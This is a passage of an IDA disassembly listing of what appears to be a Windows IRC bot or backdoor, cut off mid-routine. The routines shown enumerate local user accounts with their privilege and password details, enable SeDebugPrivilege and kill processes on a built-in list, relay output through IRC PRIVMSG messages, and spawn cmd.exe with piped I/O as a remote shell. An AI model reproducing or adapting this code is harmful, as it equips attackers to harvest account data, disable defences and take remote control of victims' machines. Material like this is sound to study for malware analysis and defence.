sub_409C75 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_419CAC dec eax jz short loc_419CA5 dec eax jz short loc_419C9E mov eax, offset aUnknown_2 ; "Unknown" jmp short loc_419CB1 ; --------------------------------------------------------------------------- loc_419C9E: ; CODE XREF: sub_419B93+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419CB1 ; --------------------------------------------------------------------------- loc_419CA5: ; CODE XREF: sub_419B93+FFj mov eax, offset aUser_3 ; "User" jmp short loc_419CB1 ; --------------------------------------------------------------------------- loc_419CAC: ; CODE XREF: sub_419B93+FCj mov eax, offset aGuest ; "Guest" loc_419CB1: ; CODE XREF: sub_419B93+109j ; sub_419B93+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 add esp, 20h pop edi pop ebx jmp short loc_419F4C ; --------------------------------------------------------------------------- loc_419F20: ; CODE XREF: sub_419B93+35j push eax lea eax, [ebp+var_204] push offset unk_4506C4 push eax call sub_41EA60 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409C75 add esp, 20h loc_419F4C: ; CODE XREF: sub_419B93+38Bj cmp [ebp+var_4], 0 jz short loc_419F5B push [ebp+var_4] call ds:dword_4E3058 loc_419F5B: ; CODE XREF: sub_419B93+40j ; sub_419B93+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_419B93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F61 proc near ; CODE XREF: sub_401C87+47A6p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4198C8 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 18h loc_419FA0: ; CODE XREF: sub_419F61+12Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_4E2F28 cmp eax, esi mov [ebp+var_C], eax jz short loc_41A001 cmp eax, 0EAh jz short loc_41A001 push eax push eax call sub_41A0D7 pop ecx push eax lea eax, [ebp+var_218] push offset unk_45070C push eax call sub_41EA60 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 24h jmp short loc_41A072 ; --------------------------------------------------------------------------- loc_41A001: ; CODE XREF: sub_419F61+62j ; sub_419F61+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_41A085 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_41A072 loc_41A00F: ; CODE XREF: sub_419F61+E9j cmp edi, esi lea eax, [ebp+var_218] jz short loc_41A04E push dword ptr [edi] push offset aS_29 ; " %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41A00F jmp short loc_41A072 ; --------------------------------------------------------------------------- loc_41A04E: ; CODE XREF: sub_419F61+B6j push offset unk_450738 push eax call sub_41EA60 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 1Ch loc_41A072: ; CODE XREF: sub_419F61+9Ej ; sub_419F61+ACj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41A085 push edi call ds:dword_4E3058 xor edi, edi mov [ebp+var_4], edi loc_41A085: ; CODE XREF: sub_419F61+A5j ; sub_419F61+116j cmp [ebp+var_C], 0EAh jz loc_419FA0 cmp edi, esi jz short loc_41A09D push edi call ds:dword_4E3058 loc_41A09D: ; CODE XREF: sub_419F61+133j push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41EA60 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_419F61 endp ; =============== S U B R O U T I N E ======================================= sub_41A0D7 proc near ; CODE XREF: sub_419737+41p ; sub_41992C+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_41A189 jz loc_41A182 cmp eax, 7Bh ja short loc_41A14E jz short loc_41A144 cmp eax, 5 jz short loc_41A13A cmp eax, 8 jz short loc_41A130 cmp eax, 32h jz short loc_41A126 cmp eax, 35h jz short loc_41A11C cmp eax, 57h jnz loc_41A1D8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A11C: ; CODE XREF: sub_41A0D7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A126: ; CODE XREF: sub_41A0D7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A130: ; CODE XREF: sub_41A0D7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_41A0D7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A144: ; CODE XREF: sub_41A0D7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A14E: ; CODE XREF: sub_41A0D7+1Aj sub eax, 7Ch jz short loc_41A17B sub eax, 7C8h jz short loc_41A174 dec eax jz short loc_41A16A dec eax jnz short loc_41A1D8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A16A: ; CODE XREF: sub_41A0D7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A174: ; CODE XREF: sub_41A0D7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A17B: ; CODE XREF: sub_41A0D7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A182: ; CODE XREF: sub_41A0D7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A189: ; CODE XREF: sub_41A0D7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41A1C2 jz short loc_41A1BB sub eax, 8ADh jz short loc_41A1ED dec eax dec eax jz short loc_41A1B4 dec eax jz short loc_41A1AD dec eax dec eax jnz short loc_41A1D8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1AD: ; CODE XREF: sub_41A0D7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1B4: ; CODE XREF: sub_41A0D7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1BB: ; CODE XREF: sub_41A0D7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1C2: ; CODE XREF: sub_41A0D7+B9j sub eax, 8CAh jz short loc_41A1F4 sub eax, 17h jz short loc_41A1ED sub eax, 25h jz short loc_41A1E6 sub eax, 29h jz short loc_41A1DF loc_41A1D8: ; CODE XREF: sub_41A0D7+35j ; sub_41A0D7+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1DF: ; CODE XREF: sub_41A0D7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1E6: ; CODE XREF: sub_41A0D7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1ED: ; CODE XREF: sub_41A0D7+C2j ; sub_41A0D7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_41A1F9 ; --------------------------------------------------------------------------- loc_41A1F4: ; CODE XREF: sub_41A0D7+F0j push offset aNetworkConnect ; "Network connection not found." loc_41A1F9: ; CODE XREF: sub_41A0D7+40j ; sub_41A0D7+4Aj ... push offset dword_4F2BF8 call sub_41EA60 pop ecx mov eax, offset dword_4F2BF8 pop ecx retn sub_41A0D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A20B proc near ; CODE XREF: sub_401C87+47ECp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_421E90 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call ds:dword_4F5394 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_421E90 lea eax, [ebp+var_718] push eax call sub_421E60 add esp, 10h add eax, eax push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call ds:dword_4E2FD8 test eax, eax jnz short loc_41A29B mov esi, offset dword_4F29F0 push offset unk_450A40 push esi call sub_41EA60 pop ecx pop ecx jmp short loc_41A2C4 ; --------------------------------------------------------------------------- loc_41A29B: ; CODE XREF: sub_41A20B+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41A0D7 pop ecx mov esi, offset dword_4F29F0 push eax push offset dword_450A68 push esi call sub_41EA60 add esp, 14h loc_41A2C4: ; CODE XREF: sub_41A20B+8Ej mov eax, esi pop esi leave retn sub_41A20B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2C9 proc near ; CODE XREF: sub_41786C+45p ; sub_41786C+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_4F53CC ; GetCurrentProcess push eax call ds:dword_4E2FAC ; OpenProcessToken test eax, eax jnz short loc_41A2E8 leave retn ; --------------------------------------------------------------------------- loc_41A2E8: ; CODE XREF: sub_41A2C9+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_4E2F84 ; LookupPrivilegeValueA test eax, eax jz short loc_41A326 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_41A30F or [ebp+var_8], 2 jmp short loc_41A313 ; --------------------------------------------------------------------------- loc_41A30F: ; CODE XREF: sub_41A2C9+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41A313: ; CODE XREF: sub_41A2C9+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_4E3034 ; AdjustTokenPrivileges mov esi, eax loc_41A326: ; CODE XREF: sub_41A2C9+32j push [ebp+var_4] call ds:off_4F533C mov eax, esi pop esi leave retn sub_41A2C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A334 proc near ; CODE XREF: sub_401C87+79ABp ; sub_41A574+74p ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_4E2FE8, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_41A544 cmp ds:dword_4E2FCC, ebx jz loc_41A544 cmp ds:dword_4E2EDC, ebx jz loc_41A544 push 1 push offset aSedebugprivi_1 ; "SeDebugPrivilege" call sub_41A2C9 pop ecx pop ecx push ebx push 0Fh call ds:dword_4E2FE8 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_41A537 lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call ds:dword_4E2FCC ; Process32First mov esi, ds:off_4F533C test eax, eax jz loc_41A532 lea eax, [ebp+var_130] push eax push edi call ds:dword_4E2EDC ; Process32Next test eax, eax jz loc_41A532 mov edi, ds:dword_4F5358 mov ebx, 1F0FFFh loc_41A3F8: ; CODE XREF: sub_41A334+1F6j xor eax, eax cmp [ebp+arg_10], eax jz short loc_41A45C mov [ebp+var_4], eax loc_41A402: ; CODE XREF: sub_41A334+F0j mov eax, [ebp+var_4] push ds:off_450BE8[eax] lea eax, [ebp+var_10C] push eax call ds:dword_4F5458 ; lstrcmpi test eax, eax jz short loc_41A42B add [ebp+var_4], 4 cmp [ebp+var_4], 60h jb short loc_41A402 jmp loc_41A518 ; --------------------------------------------------------------------------- loc_41A42B: ; CODE XREF: sub_41A334+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_41A518 push 0 push eax call ds:dword_4F53C4 ; TerminateProcess test eax, eax jnz loc_41A518 loc_41A452: ; CODE XREF: sub_41A334+1CAj push [ebp+var_4] call esi ; sub_50B3D5 jmp loc_41A518 ; --------------------------------------------------------------------------- loc_41A45C: ; CODE XREF: sub_41A334+C9j cmp [ebp+arg_C], eax jnz loc_41A503 cmp [ebp+arg_4], eax jz loc_41A518 push [ebp+var_128] push 8 call ds:dword_4E2FE8 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41A4C3 lea ecx, [ebp+var_354] push ecx push eax call ds:dword_4E2E88 ; Module32First push [ebp+var_128] test eax, eax jz short loc_41A4B5 lea eax, [ebp+var_234] push eax push offset aSD ; " %s (%d)" jmp short loc_41A4D5 ; --------------------------------------------------------------------------- loc_41A4B5: ; CODE XREF: sub_41A334+171j lea eax, [ebp+var_10C] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_41A4D5 ; --------------------------------------------------------------------------- loc_41A4C3: ; CODE XREF: sub_41A334+159j push [ebp+var_128] lea eax, [ebp+var_10C] push eax push offset aSD_1 ; " %s (%d)" loc_41A4D5: ; CODE XREF: sub_41A334+17Fj ; sub_41A334+18Dj lea eax, [ebp+var_554] push eax call sub_41EA60 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h jmp loc_41A452 ; --------------------------------------------------------------------------- loc_41A503: ; CODE XREF: sub_41A334+12Bj push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_41A54B loc_41A518: ; CODE XREF: sub_41A334+F2j ; sub_41A334+107j ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call ds:dword_4E2EDC ; Process32Next test eax, eax jnz loc_41A3F8 xor ebx, ebx loc_41A532: ; CODE XREF: sub_41A334+9Dj ; sub_41A334+B3j push [ebp+var_8] call esi ; sub_50B3D5 loc_41A537: ; CODE XREF: sub_41A334+77j push ebx push offset aSedebugprivi_2 ; "SeDebugPrivilege" call sub_41A2C9 pop ecx pop ecx loc_41A544: ; CODE XREF: sub_41A334+3Aj ; sub_41A334+46j ... xor eax, eax loc_41A546: ; CODE XREF: sub_41A334+23Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A54B: ; CODE XREF: sub_41A334+1E2j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; sub_50B3D5 push 0 push edi call ds:dword_4F53C4 ; TerminateProcess test eax, eax jnz short loc_41A56F push edi call esi ; sub_50B3D5 jmp short loc_41A544 ; --------------------------------------------------------------------------- loc_41A56F: ; CODE XREF: sub_41A334+234j xor eax, eax inc eax jmp short loc_41A546 sub_41A334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A574 proc near ; DATA XREF: sub_401C87+2692o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_450C94 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41EA60 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41A5D3 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409C75 add esp, 14h loc_41A5D3: ; CODE XREF: sub_41A574+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41A334 add esp, 18h test eax, eax lea eax, [ebp+var_298] jnz short loc_41A601 push offset unk_450CB4 jmp short loc_41A606 ; --------------------------------------------------------------------------- loc_41A601: ; CODE XREF: sub_41A574+84j push offset unk_450CD8 loc_41A606: ; CODE XREF: sub_41A574+8Bj push eax call sub_41EA60 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_41A633 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409C75 add esp, 14h loc_41A633: ; CODE XREF: sub_41A574+9Dj lea eax, [ebp+var_298] push eax call sub_415A3C push [ebp+var_14] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_41A574 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A652 proc near ; CODE XREF: sub_401C87+7949p ; sub_40B7CC+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi inc edi push 0 push 1F0FFFh call ds:dword_4F5358 ; OpenProcess mov esi, eax test esi, esi jz short loc_41A684 push 0 push esi call ds:dword_4F53C4 ; TerminateProcess test eax, eax jnz short loc_41A684 push esi xor edi, edi call ds:off_4F533C loc_41A684: ; CODE XREF: sub_41A652+1Aj ; sub_41A652+27j mov eax, edi pop edi pop esi retn sub_41A652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41A689 proc near ; DATA XREF: sub_401404+3B8o push esi xor esi, esi loc_41A68C: ; CODE XREF: sub_41A689+1Ej push 1 push esi push esi push esi push esi push esi call sub_41A334 add esp, 18h push ds:dword_450A98 call ds:dword_4F534C ; Sleep jmp short loc_41A68C sub_41A689 endp ; =============== S U B R O U T I N E ======================================= sub_41A6A9 proc near ; CODE XREF: sub_41A6D9+2Ap ; sub_41A711+7Ep ... mov eax, ds:dword_4F3264 push esi mov esi, ds:off_4F533C cmp eax, 0FFFFFFFFh jz short loc_41A6BD push eax call esi ; sub_50B3D5 loc_41A6BD: ; CODE XREF: sub_41A6A9+Fj mov eax, ds:dword_4F326C cmp eax, 0FFFFFFFFh jz short loc_41A6CA push eax call esi ; sub_50B3D5 loc_41A6CA: ; CODE XREF: sub_41A6A9+1Cj mov eax, ds:dword_4F3260 cmp eax, 0FFFFFFFFh jz short loc_41A6D7 push eax call esi ; sub_50B3D5 loc_41A6D7: ; CODE XREF: sub_41A6A9+29j pop esi retn sub_41A6A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6D9 proc near ; CODE XREF: sub_401C87+7683p ; sub_4165C7+14Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41BC70 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push ds:dword_4F3268 call ds:dword_4F53B4 ; WriteFile test eax, eax jnz short loc_41A70C call sub_41A6A9 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41A70C: ; CODE XREF: sub_41A6D9+28j xor eax, eax inc eax leave retn sub_41A6D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A711 proc near ; CODE XREF: sub_41A798+D3p ; sub_41A798+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_4F32A8 push [ebp+arg_4] call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_41A754 push 7D0h call ds:dword_4F534C ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS_2 ; "PRIVMSG %s :%s\r" push eax call sub_41EA60 add esp, 10h jmp short loc_41A76B ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A711+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_18 ; "%s" push eax call sub_41EA60 add esp, 0Ch loc_41A76B: ; CODE XREF: sub_41A711+41j lea eax, [ebp+var_200] push 0 push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4E3018 ; send test eax, eax jg short loc_41A794 call sub_41A6A9 loc_41A794: ; CODE XREF: sub_41A711+7Cj xor eax, eax leave retn sub_41A711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A798 proc near ; DATA XREF: sub_41A8ED+174o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4F3270 loc_41A7B0: ; CODE XREF: sub_41A798+79j ; sub_41A798+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push ds:dword_4F3264 call ds:dword_4F5460 ; PeekNamedPipe test eax, eax jz loc_41A87E cmp [ebp+var_4], edi jnz short loc_41A813 lea eax, [ebp+var_8] push eax push ds:dword_4F3260 call ds:dword_4F545C ; GetExitCodeProcess test eax, eax jz short loc_41A809 cmp [ebp+var_8], 103h jnz loc_41A8A2 loc_41A809: ; CODE XREF: sub_41A798+62j push 0Ah call ds:dword_4F534C ; Sleep jmp short loc_41A7B0 ; --------------------------------------------------------------------------- loc_41A813: ; CODE XREF: sub_41A798+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A82A loc_41A81A: ; CODE XREF: sub_41A798+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A878 inc eax cmp eax, [ebp+var_4] jb short loc_41A81A loc_41A82A: ; CODE XREF: sub_41A798+80j mov [ebp+var_4], esi loc_41A82D: ; CODE XREF: sub_41A798+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push ds:dword_4F3264 call ds:off_4F53BC test eax, eax jz short loc_41A8CA lea eax, [ebp+var_20C] push eax push ebx push ds:dword_4F32A4 call sub_41A711 add esp, 0Ch jmp loc_41A7B0 ; --------------------------------------------------------------------------- loc_41A878: ; CODE XREF: sub_41A798+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A82D ; --------------------------------------------------------------------------- loc_41A87E: ; CODE XREF: sub_41A798+45j push offset unk_450D10 push ebx push ds:dword_4F32A4 call sub_41A711 push [ebp+arg_0] call sub_40B9A7 add esp, 10h push 1 call ds:dword_4F53A0 ; ExitThread loc_41A8A2: ; CODE XREF: sub_41A798+6Bj call sub_41A6A9 push offset unk_450D40 push ebx push ds:dword_4F32A4 call sub_41A711 push [ebp+arg_0] call sub_40B9A7 add esp, 10h push edi call ds:dword_4F53A0 ; ExitThread loc_41A8CA: ; CODE XREF: sub_41A798+C3j push offset unk_450D68 push ebx push ds:dword_4F32A4 call sub_41A711 push [ebp+arg_0] call sub_40B9A7 add esp, 10h push edi call ds:dword_4F53A0 ; ExitThread sub_41A798 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8ED proc near ; CODE XREF: sub_401C87+24C1p ; sub_4165C7+99p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_41A6A9 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe_0 ; "cmd.exe" push esi call ds:off_4E3080 test eax, eax jz loc_41A9E7 lea eax, [ebp+var_1C] mov edi, ds:dword_4F53D0 push esi push eax lea eax, 